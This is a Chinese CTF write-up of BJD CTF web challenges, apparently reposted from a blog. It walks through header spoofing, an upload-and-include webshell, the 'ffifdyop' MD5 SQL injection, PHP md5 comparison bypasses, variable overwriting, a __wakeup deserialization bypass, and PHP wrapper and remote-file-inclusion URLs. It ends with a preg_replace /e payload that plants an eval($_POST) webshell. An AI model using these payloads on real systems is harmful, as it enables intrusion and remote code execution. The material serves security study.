zoukankan      html  css  js  c++  java
  • bjd_ctf

    1.抓包修改

    image-20200123110415702

    ​ 提示修改id,postman修改headers里面的id

    image-20200123110558991

    分析得到id是admin加admin的base64编码,payload为id: adminYWRtaW4=

    请求后又提示请使用主机访问,修改xff, X-Forwarded-For: 127.0.0.1

    再次请求又提示要从谷歌访问,修改Referer,再次访问得到flag

    2.文件上传漏洞与文件包含

    ​ 写好木马,修改mime,绕过类型判断。但是发现服务器将上传的文件进行了重命名,文件类型.php也被改为了.jpg。观察url有?action=upload.php,想到文件上传漏洞,于是包含我们上传的图片路径,成功将jpg格式文件当作php执行。upload

    3.抓包修改

    页面

    image-20200123112142107

    postman访问发现headers里面藏了一些东西password

    image-20200123112235714

    md5解密password得到密码是112233,输入登录,bp查看源码,得到flag。

    4. sql MD5注入,MD5绕过

    postman访问网站,在headers里面得到了一个

    hint: select * ``from 'admin' where password``=md5($pass,``true``)

    上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

    1. select * ``from 'admin' where password``=``'' or '6xxxxx'

    等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

    提交后又跳转到http://222.186.56.247:8102/levels91.php,f12查看源码得到,hint

    <!--
    $a = $GET['a'];
    $b = $_GET['b'];
    
    if($a != $b && md5($a) == md5($b)){
    	//wow,you can really dance
    -->
    

    php是若类型,根据==漏洞,网上找两个md5开头为0e即可,此外也可以利用数组 ?a[]=1&b[]=2 绕过,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制 。

    成功绕过之后,又跳到了一个新的网页,给了php源码为

     <?php
    error_reporting(0);
    include "flag.php";
    
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    } 
    

    这次难度增加,变成了=,利用数组

    8-3

    另一种解法见https://www.secpulse.com/archives/70070.html

    5. .git泄漏、变量覆盖

    御剑扫一下目录,得到 /.git/,githack 得到源码

    	<?php
    	include 'flag.php';
    	$yds = "dog";
    	$is = "cat";
    	$handsome = 'yds';
    	foreach($_POST as $x => $y){
    	    $$x = $y;
    	}
    	foreach($_GET as $x => $y){
    	    $$x = $$y;
    	}
    	foreach($_GET as $x => $y){
    	    if($_GET['flag'] === $x &amp;&amp; $x !== 'flag'){
    	        exit($handsome);
    	    }
    	}
    	if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
    	    exit($yds);
    	}
    	if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    	    exit($is);
    	}
    	echo "the flag is: ".$flag;
    

    变量覆盖分析

    1. POST:$flag=1
    foreach($_POST as $x => $y){ $$x = $y; }
    

    解释:$x=flag,$y=1,$$x=$($falg) = 1

    1. GET:?yds=flag
    foreach($_GET as $x => $y){
    	    $$x = $$y;
    	}
    

    $x=yds,$y=flag,所以$$x=$yds,$$y=$flag,所以最后$yds=$flag

    当执行到

    if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
    	    exit($yds);
    	}
    

    exit($yds)=exit($flag)。即可读取到flag内容。

    详情解释https://www.jianshu.com/p/a4d782e91852

    6.反序列化漏洞

    <?php
    
    error_reporting(0);
    highlight_file(__FILE__);
    //flag in /flag
    class Flag{
        public $file;
    
        public function __wakeup(){
            $this -> file = 'woc';
        }
    
        public function __destruct(){
            print_r(file_get_contents($this -> file));
        }
    }
    
    $exp = $_GET['exp'];
    $new = unserialize($exp);
    

    读源码可知,要绕过__wakeup()函数

    <?php
    class Flag{
    public $file="/flag";
    }
    $test=new Flag();
    echo serialize($test);
    

    序列化后得到结果

    O:4:"Flag":1:{s:4:"file";s:5:"/flag";}
    

    要绕过__wakeup(),还需修改

    O:4:"Flag":2:{s:4:"file";s:5:"/flag";}
    

    更多知识:https://blog.csdn.net/silence1_/article/details/89716976

    7.php为协议与 preg_replace 漏洞

    <?php
    
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    
    if(strstr(file_get_contents('php://input'),'a')){
        die("嚯,有点意思");
    }
    
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            die("Not now!");
        }
    
        include($file);  //next.php
        
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    代码审计得知首先需要读取$text文件内容为I have a dream 但是过滤掉了php://input伪协议,只能用php://data

    http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream
    

    也可以用远程文件包含

    http://222.186.56.247:8108/?text=http://1.1.1.1/1.txt
    

    include($file)提示next.php,继续利用伪协议 php://filter 读取next.php源码的base64()编码

    http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
    
    <?php
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "
    ";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    
    

    审计源码发现preg_replace的/e漏洞,于是构想,利用preg_replace的/e漏洞执行getFlag(),再利用GET给cmd参数传递一句话木马,再用蚁剑连接即可。

    或者更简单的方法

    http://222.186.56.247:8108/next.php?S*=${eval($_POST[test])}
    

    相关内容:https://blog.csdn.net/weixin_43272781/article/details/94645507 //伪协议

    相关内容:https://xz.aliyun.com/t/2557 //preg_replace的/e漏洞

    总结没做出来的题,还需要学习的知识

    1.模板注入漏洞

    2.__get()魔术方法在当访问不存属性在或为私有属性的时候会触发

    1. vim泄漏、shtml命令执行

    https://www.gem-love.com/websecurity/824.html#i

  • 相关阅读:
    WPF 使用 Direct2D1 画图 绘制基本图形
    WPF 使用 Direct2D1 画图 绘制基本图形
    dot net core 使用 IPC 进程通信
    dot net core 使用 IPC 进程通信
    win2d 图片水印
    win2d 图片水印
    Java实现 LeetCode 240 搜索二维矩阵 II(二)
    PHP closedir() 函数
    PHP chroot() 函数
    PHP chdir() 函数
  • 原文地址:https://www.cnblogs.com/WTa0/p/12230574.html
Copyright © 2011-2022 走看看